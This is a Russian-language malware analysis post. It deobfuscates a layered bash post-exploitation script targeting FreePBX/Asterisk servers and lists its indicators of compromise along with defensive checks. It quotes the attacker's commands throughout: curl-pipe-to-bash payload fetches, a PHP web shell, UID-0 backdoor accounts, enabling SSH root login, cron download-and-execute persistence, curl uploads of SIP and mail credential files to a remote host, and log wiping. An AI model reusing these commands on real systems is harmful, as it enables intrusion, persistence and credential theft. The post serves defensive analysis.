Мне в руки попался файл с расширением .sh и, конечно же, его пришлось изучить. Открываю файл — первая половина более-менее читаемая, а дальше начинается классика: Base64, ROT13 и еще немного Base64. Вроде ничего страшного. Декодируем, смотрим результат, радуемся жизни. Но не тут-то было. Автор скрипта решил сделать небольшой квест в стиле:
«А что если положить один скрипт внутрь другого скрипта, а потом еще один внутрь него?»
Получилась своеобразная матрешка: расшифровываем один слой, получаем следующий, потом следующий и так далее. Самое неприятное — после декодирования там оказалось еще достаточно много мусора. Пришлось чистить вывод, отделять реальные команды от повторов и уже потом собирать нормальную картину происходящего. В итоге получился довольно интересный набор: создание пользователей с UID 0, изменение SSH, установка persistence через cron, удаление пользователей, изменение паролей, кража конфигурации Asterisk/FreePBX и запуск дополнительных payload'ов с удаленных серверов. То есть перед нами уже не просто «скриптик на bash», а вполне полноценная постэксплуатация.
Первый слой
Самое интересное начинается практически сразу:
curl http://<IP>/x -ks | bash
Здесь автор даже не пытается сохранить файл на диск. Получаем содержимое с удаленного сервера и сразу передаем его в bash. Для анализа это неприятно, потому что содержимое может измениться в любой момент. Для атакующего — удобно. Для аналитика — еще один повод сказать: "не запускаем".
Если хочется посмотреть, что возвращает сервер, лучше сначала сохранить ответ:
curl -k http://<IP>/x -o payload.sh
а уже потом открывать файл и разбирать его статически.
Что делает скрипт
После того как я убрал обфускацию и мусор, поведение стало достаточно хорошо видно. Условно скрипт можно разделить на несколько этапов:
Создание backdoor-файлов в web-директории.
Создание пользователей с UID 0.
Изменение пользователей FreePBX.
Изменение конфигурации SSH.
Установка persistence через cron.
Удаление других пользователей.
Кража конфигурационных файлов Asterisk.
Запуск дополнительных payload'ов.
Попытка скрыть следы.
И вот тут начинается самое интересное.
Web Shell в FreePBX
Одна из первых вещей:
<?php session_start(); if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == 'e2708f61bde041df72bbecbe31a232aa') { $_SESSION['looki'] = 'logged'; }
PHP-код записывается в:
/var/www/html/admin/views/ajax.php
После этого файл копируется еще в несколько мест:
/var/www/html/h.php /var/www/html/rest_phones/ajax.php /var/www/html/admin/modules/h/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php /var/www/html/admin/modules/phones/ajax.php
Причем копируются не только ajax.php.
Создаются еще:
config.php index.php
в тех же директориях. Получается несколько точек входа. Если один файл удалят — остается другой. Классическая логика:
«Один бэкдор хорошо, а восемь — вдруг пригодятся».
Зачем нужен .htaccess
Дальше появляется:
RewriteEngine On Options +FollowSymLinks RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteRule ^\s+ config.php [L]
И сохраняется это в:
/var/www/html/admin/views/.htaccess
Здесь злоумышленник пытается добавить дополнительный механизм обработки HTTP-запросов. Особенно интересна комбинация с большим количеством копий PHP-файла. То есть задача не просто «оставить PHP-файл». Нужно сделать так, чтобы до него было проще добраться через web-сервер.
Попытка защитить backdoor от удаления
Следующий интересный момент:
chmod +x /var/www/html/admin/views/ajax.php
и:
chattr +i /var/www/html/admin/views/ajax.php
Если +i не сработал:
chattr +a /var/www/html/admin/views/ajax.php
immutable делает файл неизменяемым и неудаляемым обычными операциями. То есть администратор может выполнить:
rm ajax.php
и получить вполне заслуженное:
Operation not permitted
Даже если права позволяют удаление. Для расследования это хороший IOC. Стоит проверить:
lsattr /var/www/html/admin/views/ajax.php
А теперь самое интересное — UID 0
В скрипте несколько раз встречается:
useradd -s /bin/bash -ou 0 -g 0 ...
Ключевой параметр здесь:
-u 0
UID 0 — это root. То есть создается пользователь, который технически имеет права root.
Например:
useradd -s /bin/bash -ou 0 -g 0 -p '...' newfpbx
и:
useradd -s /bin/bash -ou 0 -g 0 -p '...' xhimax
Это уже очень серьезный индикатор компрометации.
Проверить такие аккаунты можно:
awk -F: '$3 == 0 {print $1 ":" $3}' /etc/passwd
В нормальной системе ожидаем увидеть примерно:
root:0
Если там внезапно появились:
hima:0 newfpbx:0 supports:0
то это повод перестать делать вид, что «сервер просто странно себя ведет».
Массовое удаление пользователей
Дальше автор скрипта решил, что на сервере слишком много людей. И просто начал их удалять.
Например:
awk -F: '($3 == 0 && $1 != "root") {print $1}' /etc/passwd | xargs -n1 -I {} userdel -rf {}
Удаляются пользователи с UID 0, кроме root. Но на этом всё не заканчивается.
Следом:
for user in $(ls /home); do userdel -rf "$user" done
То есть удаляются пользователи из /home. Еще одна команда работает с /etc/passwd, /etc/shadow, /etc/group и /etc/gshadow. Там уже идет ручная зачистка записей пользователей. Это довольно грубый способ закрепиться. Но зато эффективный. Если на сервере были другие аккаунты администраторов — им может очень не понравиться следующий вход в систему.
Пароли
Дальше злоумышленник меняет пароли целого набора пользователей:
echo 'root:<PASSWORD>' | chpasswd -e echo 'asterisk:<PASSWORD>' | chpasswd -e echo 'freepbxuser:<PASSWORD>' | chpasswd -e
И создает дополнительные аккаунты:
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' hima useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' sugarmaint useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supports useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supermaint
То есть атакующий создает несколько вариантов доступа. Причем практически каждый из них имеет root-права. Один аккаунт удалили? Не страшно. Есть еще несколько.
SSH тоже приводим в порядок
Следующий этап:
sed -i 's/^#Port .*/Port 22/' /etc/ssh/sshd_config sed -i 's/^Port .*/Port 22/' /etc/ssh/sshd_config
После этого:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
И затем:
systemctl restart sshd
Но самое интересное — разрешается root login:
sed -i 's/^#PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config
Получаем простой сценарий:
Internet | v SSH :22 | v root
Почему бы и нет? Зачем усложнять жизнь ключами, sudo и нормальной моделью доступа, если можно просто разрешить root по SSH.
Persistence через cron
Вот здесь начинается любимая часть практически любого вредоносного Linux-скрипта.
*/1 * * * * wget http://<IP>/z/wr.php \ -O /var/lib/asterisk/bin/zen2; \ bash /var/lib/asterisk/bin/zen2
И еще:
*/1 * * * * wget http://<IP>/k.php \ -O /var/lib/asterisk/bin/devnull2; \ bash /var/lib/asterisk/bin/devnull2
И еще.
И еще.
И еще.
Практически каждый запуск происходит раз в минуту. Если один payload не сработал — через минуту попробуем снова. Если файл удалили — cron его скачает заново. Для проверки:
crontab -l
А также:
ls -la /var/spool/cron/
и:
grep -R "wget\|curl" /etc/cron* /var/spool/cron 2>/dev/null
Зачем столько одинаковых заданий?
Например:
zen2 zen222 zen3 devnull2 devnull312 devnull212
Все они делают примерно одно и то же:
download → save → execute
С точки зрения аналитика это даже удобно. Когда злоумышленник сам оставляет столько IOC, работа становится немного приятнее. Хотя лучше бы он вообще ничего не оставлял.
Еще один persistence
Внутри создаваемого /tmp/test.sh встречается:
wget http://<IP>/k.php \ -O /var/lib/asterisk/bin/devnull
и:
crontab -r
после чего добавляется новый cron:
*/3 * * * * chmod +x /var/lib/asterisk/bin/devnull; /var/lib/asterisk/bin/devnull
То есть автор скрипта не просто добавляет persistence. Он еще и чистит существующий crontab перед установкой своего. Это может привести к удалению легитимных задач.
Кража конфигурации Asterisk
А вот здесь становится понятно, почему вообще атакующего заинтересовал сервер. Выполняются запросы вида:
curl -F "file=@/etc/asterisk/sip_additional.conf" \ http://<IP>/hima_data/index.php
Аналогично отправляются:
/etc/asterisk/sip_registrations.conf /etc/asterisk/manager.conf /etc/asterisk/pjsip.identify.conf /etc/asterisk/pjsip.transports.conf /etc/asterisk/pjsip.aor.conf /etc/asterisk/pjsip.auth.conf /etc/asterisk/pjsip.endpoint.conf /etc/asterisk/sip.conf /etc/asterisk/sip_custom.conf
Но это еще не всё. Отправляются также:
/etc/postfix/sasl_passwd /etc/amportal.conf /etc/asterisk/amportal.conf /etc/freepbx.conf /etc/issabel.conf /etc/elastix.conf
И вот здесь уже становится очевидно, что интересуют не только учетные записи Linux. Атакующий собирает конфигурацию телефонии и связанные с ней секреты.
Что потенциально можно получить из этих файлов
В зависимости от конкретной конфигурации там могут находиться:
SIP credentials;
пароли SIP-пользователей;
параметры регистрации;
настройки Asterisk Manager Interface;
SMTP credentials;
параметры FreePBX;
параметры подключения к базе;
настройки внешних SIP-провайдеров.
Для VoIP-сервера это уже очень неприятная история. Получив SIP-учетки, злоумышленник потенциально может использовать их для дальнейших атак или совершения несанкционированных звонков. А если сервер используется для телефонии компании, счет за такие эксперименты может оказаться значительно интереснее самого инцидента.
Еще один удаленный payload
В конце:
curl http://<IP>/z/post/root.php | sh
То есть сервер дополнительно получает еще один скрипт и сразу передает его shell. Получается цепочка:
initial .sh | +--> remote /x | +--> create users | +--> modify SSH | +--> cron persistence | +--> steal Asterisk configs | +--> remote root.php | +--> next stage
Поэтому анализировать только первоначальный .sh недостаточно. Основная логика может находиться на стороне C2.
Попытка удалить следы
Есть интересная строка:
sed -i '/restapps/d' /var/log/httpd/*
То есть из HTTP-логов удаляются строки, содержащие restapps. Это уже попытка скрыть активность. Также скрипт несколько раз удаляет собственные файлы:
rm -rf /var/www/html/admin/modules/freepbx_ha/license.php
И выполняет операции с:
license license.php
То есть часть вредоносной логики сначала создается, потом переименовывается, затем снова восстанавливается. Для человека, который просто смотрит на файловую систему, это может выглядеть довольно странно. Для автора скрипта — видимо, всё идет по плану.
FreePBX как точка интереса
По путям и именам файлов хорошо видно, что скрипт ориентирован именно на системы семейства FreePBX/Asterisk.
Используются:
/var/www/html/admin/ /var/www/html/admin/modules/ /var/lib/asterisk/ /etc/asterisk/ /etc/freepbx.conf
Причем проверяются даже конфигурации других VoIP-систем:
/etc/issabel.conf /etc/elastix.conf
То есть автор явно рассчитывает на разные варианты VoIP-инсталляций.
IOC
Из разбора можно выделить следующие индикаторы.
IP-адреса
160.119.69.4 45.95.147.178
URI
/x /k.php /z/wr.php /z/post/root.php /hima_data/index.php
Подозрительные файлы
/var/www/html/h.php /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license /var/lib/asterisk/bin/zen2 /var/lib/asterisk/bin/zen222 /var/lib/asterisk/bin/zen3 /var/lib/asterisk/bin/devnull2 /var/lib/asterisk/bin/devnull312 /var/lib/asterisk/bin/devnull212
Пользователи
newfpbx xhimax hima sugarmaint supports supermaint
Что в итоге
Перед нами не просто обфусцированный bash-скрипт. Это цепочка постэксплуатации, в которой есть практически всё необходимое для закрепления на сервере:
Initial access | v remote payload | v Web Shell / PHP | v Root-level accounts | v SSH access | v Cron persistence | v Config collection | v Data exfiltration | v Next-stage payload
Самое интересное здесь даже не использование Base64 или ROT13. Обфускация в данном случае просто заставляет аналитика немного поработать. Главная проблема начинается после расшифровки:
создаются root-пользователи;
меняются пароли;
разрешается root-доступ по SSH;
открывается SSH в firewall;
устанавливается persistence через cron;
создаются web shell'ы;
изменяются файлы FreePBX;
удаляются другие пользователи;
чистятся логи;
наружу отправляются конфигурационные файлы Asterisk;
скачиваются и выполняются дополнительные payload'ы.
И вот тут становится понятно, зачем была нужна вся эта матрешка. Пока аналитик сидит и думает:
«Ну Base64, ROT13... ничего интересного».
Скрипт в это время уже мысленно прописывает себе root в резюме.
Вывод
При анализе подобных .sh я бы вообще не тратил много времени на попытки сразу понять весь код. Сначала лучше убрать обфускацию и мусор, затем построить цепочку выполнения:
download ↓ execute ↓ persistence ↓ privilege ↓ credential access ↓ collection ↓ exfiltration ↓ next stage
Так гораздо быстрее становится понятно, что перед нами. А Base64, ROT13 и прочие «секретные» кодировки — это всего лишь упаковочная бумага. Главное — не начать распаковывать ее прямо на production-сервере.
